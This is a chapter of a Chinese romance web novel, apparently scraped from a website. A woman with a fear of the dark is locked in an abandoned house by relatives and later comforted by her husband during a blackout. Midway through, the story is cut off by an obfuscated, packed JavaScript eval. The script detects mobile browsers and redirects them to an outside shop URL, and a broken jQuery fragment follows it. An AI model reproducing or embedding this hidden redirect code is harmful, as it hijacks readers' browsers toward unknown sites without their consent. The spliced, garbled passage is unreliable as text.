鹿聆呦回去的途中碰上林淮,主动打招呼:“林院。”
“假期还叫我‘林院’,会让我以为在加班。”
林淮示意,二人坐在廊下的长椅上,远处戏腔韵韵靡靡。
黄昏落尽,正是蓝调时刻。
“我姐姐呢?”鹿聆呦随口一问,后背靠着柱子,视线掠过林淮,远处石榴形窗框的人影有点眼熟,风灯隐隐绰绰,看不真切模样,她收回视线。
“在应酬。”
他看向鹿聆呦,“你还是和小时候一样,不管宴会多热闹,总喜欢一个人呆着。”
林淮说的是顾家的宴会。
林家与顾家相交多年,林淮于鹿聆呦而言,是比江鹤白更熟悉的世家哥哥。
刚到舅舅家那阵,有次宴会,刘素珍当众给了她下马威,八岁的小女孩已经能看懂在场之人的脸色,羞愤离场,一个人跑到花园扔鹅卵石发脾气,没想到砸中坐在花坛另一边的林淮。
林淮的额角肉眼可见地肿起来,这时有大人过来,小小的女孩吓坏了,林淮却说是自己不小心摔的。
后来,林淮来顾家做客时,偶尔会给她带礼物,比如卷子、比如小蛋糕。
鹿聆呦无奈地笑笑,“我不擅长应酬。”
看到他站起来,她回头。
江鹤白穿过石榴门,与林淮遥遥点头,到她身边,微微倾身,“今天辛苦了,我送你回去上药。”
“你怎么了?”
“脚崴了下,不要紧,”鹿聆呦起身,“我自己回去上药,你忙你的。”
鹿聆呦走出几步,回头,江鹤白与林淮还站在原地,二人中间似有风雷,她撇撇嘴,情敌啊!夺妻之恨啊!哈哈!
二人同时偏头看向她,鹿聆呦倏地收起咧开的嘴角。
刚转身,上臂就被一只手攥紧,“我送你回去。”
余光觑了江鹤白一眼,想抽回手臂没成功,鹿聆呦眼观鼻,鼻观心,尽量不惹他。
等回到房间,她才收回手臂,“外面还有客人,你快去忙吧。…哦对了,我劝你多看着点雅婷。”
江鹤白面色不善,“雅婷又怎么惹你了?”
?!。
见了情敌,果然不爽。
可是关她什么事?
“不是她惹我,是我惹她,”鹿聆呦火气也上来了,“我故意,是‘故意’惹火了江雅婷,我认为她会搞事情行了吧。”
江鹤白气得拂袖而去。
等到戏散场,江鹤白送走最后一位宾客后回房,已经过去三个小时。
而鹿聆呦不在房间。
电话关机。
他立刻派人去找,得到的反馈是:几个小时前看到她坐车走了。
鹿聆呦的确是坐车走的。
不过,她没有离开江家老宅,而是被关在距此不远的平房里。
无论如何,鹿聆呦都无法相信舅舅的儿子,她的表弟顾松明会害她——表弟把骗她出去,拿走她手机,把她关到无人居住的房子里。
不相信不是因为感情好,实际恰恰相反。
舅舅刚收养她那会,顾松明一脸天真地问她:“你爸爸妈妈真的全都死了?”当时的鹿聆呦还没有磨掉大小姐脾气,听到这话,上去就给了表弟一巴掌。
即便如此,她始终以为顾松明从小到大闯祸让她背锅就是他品行的极限。
毕竟道德和违法是两个概念。
时间不知道过去了多久,鹿聆呦调整着呼吸迫使自己冷静。
刚被推进去的瞬间,她下意识去抓门把手,可惜门已经从外面锁上,房间的灯瞬间黑掉。
最初的惊惧拍门呼喊一阵后,她晕厥过去。
大概是磕到后脑勺,她从剧痛中醒来。
周围黑黢黢的,无数重影交叠扑向她,尖锐的叫声、低低的啜泣声环绕在耳边。
鹿聆呦清楚自己犯病了,可她依旧甩不开这些声音,她甚至能感觉到身后有巨大的双臂紧紧箍住了她。
挣不开,甩不掉。
后背贴着墙壁移动,转过拐角,一缕夜色投进来,她慌乱地扑过去,仿佛微弱的月光才是活命的氧气。
窸窸窣窣的脚步声、嗡嗡絮絮的低语声、哭声、高跟鞋踩踏木制楼梯声……不,鹿聆呦握拳咬着指关节,这是一间石头混凝土结构的平房,不会有木板台阶。
那是她记忆最深处的声音。
大脑异常理性,声音却没有从脑海里消失。
她紧紧靠着高过肩膀的小窗口,伸手触摸,玻璃很厚,打不破,况且窗口很小,她也爬不出去。
慢慢转过脸,房间里伸手不见五指,思维足够理性,眼睛依旧能看到无数虚影……她能分清真实与幻觉,却无法摆脱幻觉。
蓦然,一声细碎的笑声。
笑声极短,鹿聆呦却精准捕捉到了——外面有人。
顾松明把她骗到这里,难道只是想捉弄她?
还是那日她得罪了舅妈,他故意报复。
不管是出于何种目的,他肯定在偷偷观察她,鹿聆呦贴着墙壁移开窗户,让自己处于窗户外面人的视线盲区。
果然,不出片刻,一阵急促地脚步声。
不止一个人。
随即,一道强光扫过窗口,伴随着汽车的轰鸣声。
他们要走?
她绝对不能留在这里过夜,鹿聆呦凭借记忆扑向门口方向,拍打呼喊,摸索到门把手用力扭动。
门却轻而易举打开。
先前怎么都打不开的门,突然一下子就开了。
她本能地循着光扑出去,大口呼吸,汲取的不是氧气,而是亮光。
双腿瘫软倒地,江鹤白从车上下来,快步上前扶起她,却见她面如水洗,连发丝都湿透了。
江鹤白的人很快发现躲在一边的顾松明、江雅婷,以及她的三个小姐妹。
果然是他们。
鹿聆呦死死抓着江鹤白的手臂,嘴里却在说,“帮我,联系,姐姐。”
“你有没有受伤?”江鹤白只上下检查她的身体,声音抑制不住地颤抖。
她摇了摇头,眼睛盯着车灯,那是现场最亮的东西。
“原来你在这里啊,害我们找了半天。”江雅婷瞥了眼顾松明,后者立刻接话,“不好意思,麻烦你们帮我找人了。呦呦,你怎么不接电话?”
有人在门口“捡到”一部手机。
“原来你手机丢了啊,难怪。”顾松明说话时没往鹿聆呦这边看,只是瞥了几眼江雅婷。
“雅婷,这里好像是你爷爷最后养病的房子,你嫂子是不是被吓到了?”
“怎么怕成那样?这里很可怕吗?。”
“不会吧,鹿医生在医院里见惯了生死,怎么可能怕鬼。”
这话说得又阴又毒,一句话就让在场之人对鹿聆呦此刻的状态产生了怀疑——她是医生,死人都亲眼见过,何况只是死过人的房子。
江鹤白只冷冷扫了一眼,三人即刻闭嘴。
江雅婷却不服气,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17608862|205845||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“松明,你们两个跑到我爷爷生前住过的房子里做什么?”
“不好意思,呦呦走错路了,我过来找她。”
听着他们颠倒黑白,鹿聆呦一句话也说不出来。
光是在众人面前保持常态,她就已用尽了全身的力气。
江鹤白检查过后,确定她没有受伤,才将她抱起。
她搂着他脖颈,转身时看到管家让人抬走一块厚重的木板,露出宽大的玻璃窗。
原来房间有窗户,只是被堵上了。
保镖打开后车门,鹿聆呦去看顾松明,他倏地转过脸,眼睛飘忽,双手插兜,又抽出来交握,又转身挠头。
顾松明将她骗到这里,出卖了她,原来还会心虚。
呵。
只有至亲才清楚她有黑暗恐惧症,那是幼年创伤后的应激反应。
三年前联姻的时候,顾家生怕江家发现她有病,三年后却可以随意将这一切暴露在江家人面前。
鹿聆呦唇角噙着一抹讥嘲,心底结出寒霜。
江鹤白一路抱着她穿过老宅庭院,一回到房间,鹿聆呦立刻下意识地打开所有的灯。
“呃,我衣服都脏了,我去洗个澡。”
她不等江鹤白回应就去了浴室,直到将整个人泡进温热的浴缸里,才稍稍缓解了身体的颤栗,环绕在脑海里的声音才渐渐远去。
直到浴缸的水凉透,鹿聆呦才打开花洒,冲掉满脸泪水。
猝然,浴室灯闪了几下,熄灭。
她吓得惊叫出声,胡乱地裹着睡衣冲出浴室,惊慌失措地按着开关,摸黑找手机,不知道撞翻了多少家具。
“呦呦,我在这里。”
江鹤白一把将她揽入怀中,同时打开手机灯,她抢过手机,紧紧攥在手里。
可这点光亮无法驱散她对黑暗的恐惧,她的情绪也几乎到了临界点,她害怕自己不受控制,做出什么疯癫的举动。
“呦呦,”江鹤白忽然捏住她的脸颊,“你别咬自己,咬我吧。”他将她按进自己颈窝,手臂收紧。
鹿聆呦的意识一直处于半清醒半虚幻状态。
感觉到他在帮她擦头发,又在身上裹了薄毯,温暖和包裹给了一点安全感,宇宙大爆炸般的情绪逐渐平息。
依稀听到有人说“这几天电量过载,电线老化导致短路”。
没几分钟,房间骤然亮起,不是来电了,而是手电筒的亮光。
鹿聆呦瞳孔慢慢聚焦,视线跟随着江鹤白,只见他拿着大小不一,形状各异的手电筒,一个一个打开,摆在茶几上、床尾凳上、床头柜上、地上、长桌上……
光的颜色也略有相同,白炽、鹅黄、月白、淡蓝,就这几种色彩,一束束亮光通往吊顶,或穿透屏风。
她坐在床上,身处在光束构建的阴影里,拥有了绝佳的视野和掌控感,自己又没有完全暴露,这在心理学上属于“心理安全环境”。
紧绷的皮肤肌理慢慢放松,目光与江鹤白相触,他沿着床沿坐在她对面,声音温和,带着商量的语气,“奶奶和爸爸妈妈都已经睡了,明天一早再检修电路可以吗?”
“嗯。别打扰他们休息。”她的声音已经听不出异样。
江鹤白起身到她身边,手指伸进她头发里,“还没有完全干,等会再睡吧。”
又重新拿了块毛巾,站在床边给她擦头发。
院子里有脚步声,两人同时偏头,紧接着门外传来急促地敲门声。
鹿聆呦下意识抱紧他。